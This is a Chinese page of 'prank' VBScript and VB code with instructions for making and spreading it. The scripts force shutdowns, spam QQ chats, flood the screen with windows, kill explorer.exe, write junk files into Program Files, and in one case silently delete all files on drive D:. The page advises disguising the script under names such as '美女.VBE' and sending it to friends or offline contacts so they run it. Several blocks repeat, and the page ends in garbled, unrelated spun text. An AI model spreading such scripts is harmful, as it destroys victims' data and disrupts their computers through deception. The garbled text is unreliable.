1、手机qq整人代码
5、qq整人代码
之一步,将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自
第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)
如果谁运行了这个 *** 炸弹,在30秒后会自动关机。
下面说一下使用 *** :
最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。
还有个更加恶毒的,不在线的 *** 好友你可以向他们发送 *** 离线文件,几乎80%的人都会好奇这个文件是什么,糊里糊涂就打开了。 打开以后就被 *** 炸弹恶搞了
你自己也可以测试一下这个 *** 炸弹的威力。
首先你在要建一个文本文档(在桌面点右键
新建
文本文档)把下面的你想要的代码复制
到文本文档
好
保存
把名字
txt
改成
vbs
就
OK
vbs
整人代码大 ***
一、
你打开好友的聊天对话框
然后记下在你
***
里好友的昵称
把下面代码里的
xx
替换一下
就可以自定义发送
***
信息到好友的次数
代码里的数字
10
改一下即可
xx.vbs=
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("
与
xx
聊天中
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
***
骚扰信息
也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈
do
msgbox "You are foolish!"
loop
三、打开无数个计算器,直到死机
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
四、直接关机
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
五、删除
D:\
所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
六、不断弹出窗口
while(1)
msgbox "
哈哈
你被耍了!
loop
七、不断按下
alt+f4
(开什么都关闭„„)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
八、按
500
次回车
以上代码在运行者的电脑上显示
500
个对话框。其中
do until s=500
500
可以随意更改
dim s
do until s=500
s=s+1
msgbox "
哥们,给我按
500
次回车吧
",64
loop
九、关不掉的窗口
WScript.Echo("
嘿,谢谢你打开我哦,我等你很久
拉!
"TSName)
WScript.Echo("
你是可爱的小朋吗
WScript.Echo("
哈
我想你拉,这你都不知道吗?
[color=#FF0000]
复制以这个代码,在桌面建一个文本,把代码放进去,另存为
VBS
格式,
此代码的威力:
1
:开机就强制自动关机
2
cmd
命令打不开
3
:结束任务不管用
4
F8
安全模式也不管用
呵呵!听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、
代码破解 *** :就是再运行一次,就可以破解了,也就是第
2
次保存的那个
VBE
文件,
PS
:不要乱拿软件去整人,发生什么事可不要怪我啊。
拍拍手
顶起吧!
恐怖啊
整人
小心用
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
声明变量,其中“
count
”为静态变量,以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
定义要把生成的文件存放在那个目录文件下
c = "C:\Program Files\"
生成文件的内容
nr = "
哈哈,被黑的感觉的不错吧
files = FreeFile
如果
a
等于
a
那么就执行
If a = a Then
'count
不断的加
1
,以便产生不同的文件名
count = count + 1
产生文件名及文件句柄,并用
count
作为产生不同的文件名。
Open c "system" count ".dll" For Append As #files
向文件写内容
Write #files, nr
清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示
Close #files
End If
End Sub
之一步,将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自
第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)
如果谁运行了这个 *** 炸弹,在30秒后会自动关机。
下面说一下使用 *** :
最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊!")
WScript.Echo("推荐你来的肯定是个坏蛋!")
WScript.Echo("欢迎来到被整软件站!")
WScript.Echo("是谁设计的?")
WScript.Echo("Is me")
WScript.Echo("你好,你要点30次确定哦!")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
之一步,将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自
第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)
如果谁运行了这个 *** 炸弹,在30秒后会自动关机。
下面说一下使用 *** :
最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊!")
WScript.Echo("推荐你来的肯定是个坏蛋!")
WScript.Echo("欢迎来到被整软件站!")
WScript.Echo("是谁设计的?")
WScript.Echo("Is me")
WScript.Echo("你好,你要点30次确定哦!")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊!")
WScript.Echo("推荐你来的肯定是个坏蛋!")
WScript.Echo("欢迎来到被整软件站!")
WScript.Echo("是谁设计的?")
WScript.Echo("Is
me")
WScript.Echo("你好,你要点30次确定哦!")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
WScript.Echo("30")
WScript.Echo("29")
WScript.Echo("28")
WScript.Echo("呵呵,骗你的,我也累了,88")
WScript.Echo("还是在耍你")
WScript.Echo("你不想活了?")
WScript.Echo("打开这个?")
WScript.Echo("无语中……")
WScript.Echo("嘿。谁让你点确定的?")
WScript.Echo("我还想多耍你一会儿呢!")
WScript.Echo("我准备问你一个问题")
-----------下面别复制--------------------
纯
本
人
设
计
gsh=msgbox ("已经准备好格式化,准备开始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "开始格式化…… 哈哈!吓晕了吧,骗你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows发现一重要更新,将自动下载。"
wscript.sleep 3000
msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描?",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型:木马",,"windows扫描附件"
msgbox "是否阻止其安装?",vbyesno
wscript.sleep 3000
msgbox "阻止失败!请检查防火墙是否开启!"
wscript.sleep 5000
msgbox "正在尝试强行删除…"
wscript.sleep 5000
msgbox "失败!"
wscript.sleep 5000
msgbox "您的电脑已陷入危险之中,请赶快扫描病毒!"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im *** .exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊!"
wscript.sleep 3000
msgbox "很高兴见到你!"
wscript.sleep 3000
msgbox "您的电脑可能已经感染病毒!",,"WINDOWS防火墙警告"
wscript.sleep 3000
msgbox "我控制你的电脑了!"
wscript.sleep 3000
msgbox "不信?那我给你关机看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧!"
msgbox "帮你解除关机……"
s.run "shutdown -a"
msgbox "再给你打开记事本写封信,劝你更好别动,要不然会引起系统混乱~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示:刚才的“病毒”是假的,只不过是吓你玩玩~"
s.run "explorer"
热点 谈论 游侠网友 [浙江省嘉废市电疑网友] 0 九- 二 二 二 一:0 六 别闹那何时算可骇 游戏了 小父熟皆敢玩 突突突 挨僵尸战挨苍蝇嫩鼠同样 吓人吗 玻璃作的口净。。。。。告发 一 一 九 七0 归复 游侠网友 [外国挪动网友] 一 二- 二 九 一 五: 三 五 您...
起源 :江苏体彩网 五月 四日谢罚的江苏体彩 七位数第 一 八0 六 七期,位于镇江市润州区美的乡的 一 一0 五 二网点一举外没 一0注特等罚,总罚金下达 五000万元。 一 八0 六 七期 七位数谢没外罚号码“ 七 八 二 八 一 四 二”,当期共外没 一0注特等罚,每一注罚金 五00万...
造一瓶程控管宽谨品性上有优秀 火准取保证 ,威士忌外的极品。属蒸馏酒,第一个临盆 并折衷 威士忌的临盆 商。 杰克丹僧。正在橡木桶外鲜酿多年后,人头马、个中 乌圆/瓶皇野旗兵「 二 一年 八 八0元/瓶愿望 那答复 能助到您。调配成 四 三度阁下 的烈性蒸馏酒年夜 芹。正在年夜 型的洋酒商止皆能战随...
点击蓝字咱们 CCTV- 一0 二0 二0. 八. 二 二 三: 二 六播没 《外国印象圆志》安徽卷 宿紧篇 宿紧篇 预报 片 唐地宝十四年(私元 七 五 五年),李皂为躲“安史之治”, 自汴州,即古河北谢启北奔。相传李皂此时 曾经游历至宿紧,正在北台山的 对于酌亭,取时任县令的闾...
国珍紧花粉包乱百病必修谁创作发明 了信似"曲销"的创富神话 二00 八年 一 二月 三0日 一0: 四 八: 三 四 浙江正在线消息 网站 延长 浏览 ●"爸妈尔战同性异居被抓快挨钱去公众年关 十年夜 骗术贴秘 ●号称 三0地换个新鼻子 "Q鼻棒棒棉"实的能乱...
二0 一 九年 一0月 二 一日淘宝地猫单 一 一运动 开端 预卖,买物津揭也能够发与了。许多 答本年 淘宝地猫单十一运动 的买物津揭要怎么用?上面小编给年夜 野先容 高 二0 一 九淘宝地猫单十一买物津揭运用规矩 先容 。 买物津揭发与天址>>>> 二0 一 九...